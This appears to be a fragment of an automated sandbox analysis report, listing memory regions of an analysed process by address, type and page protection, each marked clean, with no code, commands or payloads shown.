page read and write
 clean
3751000
unkown
page read and write
 clean
28D0000
unkown
page read and write
 clean
992000
heap private
page read and write
 clean
100000
unkown
page read and write
 clean
373E000
unkown
page read and write
 clean
2320000
unkown
page readonly
 clean
287000
heap default
page read and write
 clean
12E4C000
unkown
page read and write
 clean
3352000
unkown
page readonly
 clean
3140000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
160000
unkown
page read and write
 clean
974000
heap private
page read and write
 clean
339F000
unkown
page read and write
 clean
260000
unkown
page execute and read and write
 clean
35E0000
unkown
page readonly
 clean
2CE000
heap default
page read and write
 clean
B0000
unkown
page readonly
 clean
3101000
unkown
page read and write
 clean
36E3000
unkown
page read and write
 clean
2A6000
heap default
page read and write
 clean
307D000
unkown
page read and write
 clean
297000
heap default
page read and write
 clean
A10000
unkown
page read and write
 clean
295F000
unkown
page read and write
 clean
3212000
unkown
page read and write
 clean
28D0000
unkown
page read and write
 clean
1DD000
heap default
page read and write
 clean
3052000
unkown
page readonly
 clean
315F000
unkown
page read and write
 clean
318B000
unkown
page read and write
 clean
2C80000
heap private
page execute and read and write
 clean
28D0000
unkown
page read and write
 clean
3167000
unkown
page read and write
 clean
7FF00160000
unkown
page read and write
 clean
31C0000
unkown
page read and write
 clean
19C000
unkown
page read and write
 clean
60000
unkown
page readonly
 clean
7FF001E0000
unkown
page execute and read and write
 clean
311C000
unkown
page read and write
 clean
12F91000
unkown
page read and write
 clean
1BA00000
unkown
page read and write
 clean
2C74000
heap private
page read and write
 clean
7FF000F0000
unkown
page read and write
 clean
28D0000
unkown
page read and write
 clean
1CBC3000
heap private
page read and write
 clean
444000
heap private
page read and write
 clean
7FFFFF00000
unkown
page execute and read and write
 clean
3127000
unkown
page read and write
 clean
130D2000
unkown
page read and write
 clean
7FF0003C000
unkown
page execute and read and write
 clean
1D0000
heap default
page read and write
 clean
1B70000
unkown
page read and write
 clean
20000
heap private
page read and write
 clean
2C40000
heap private
page execute and read and write
 clean
3359000
unkown
page readonly
 clean
5A0000
unkown
page readonly
 clean
1BA9E000
unkown
page read and write
 clean
290000
heap default
page read and write
 clean
31EF000
unkown
page read and write
 clean
1D00000
unkown
page read and write
 clean
33A5000
unkown
page readonly
 clean
1AE80000
unkown
page read and write
 clean
26B0000
heap private
page read and write
 clean
2330000
unkown
page read and write
 clean
8C0000
unkown
page execute and read and write
 clean
2A0000
unkown
page execute and read and write
 clean
7FF0002A000
unkown
page execute and read and write
 clean
12E25000
unkown
page read and write
 clean
900000
unkown
page execute and read and write
 clean
4A7000
heap default
page read and write
 clean
32D3000
unkown
page read and write
 clean
1BB0000
unkown
page readonly
 clean
2C78000
heap private
page read and write
 clean
2E1E000
unkown
page read and write | page guard
 clean
372E000
unkown
page read and write
 clean
7FF00260000
unkown
page execute and read and write
 clean
2820000
unkown
page read and write
 clean
3181000
unkown
page read and write
 clean
1FB0000
heap private
page read and write
 clean
3058000
unkown
page readonly
 clean
3709000
unkown
page read and write
 clean
160000
unkown
page read and write
 clean
3842000
unkown
page read and write
 clean
30A6000
unkown
page read and write
 clean
28D0000
unkown
page read and write
 clean
1BA82000
unkown
page read and write
 clean
E0000
unkown
page read and write
 clean
F0000
unkown
page write copy
 clean
10008000
unkown image
page readonly
 clean
2C7B000
heap private
page read and write
 clean
6B0000
unkown
page readonly
 clean
1B4F0000
unkown
page read and write
 clean
1E40000
unkown
page readonly
 clean
3252000
unkown
page readonly
 clean
33B9000
unkown
page readonly
 clean
12E21000
unkown
page read and write
 clean
361F000
unkown
page read and write
 clean
2E1F000
unkown
page read and write
 clean
2B4000
heap default
page read and write
 clean
28D0000
unkown
page read and write
 clean
3086000
unkown
page read and write
 clean
3767000
unkown
page read and write
 clean
There are 362 hidden memdumps, click here to show them.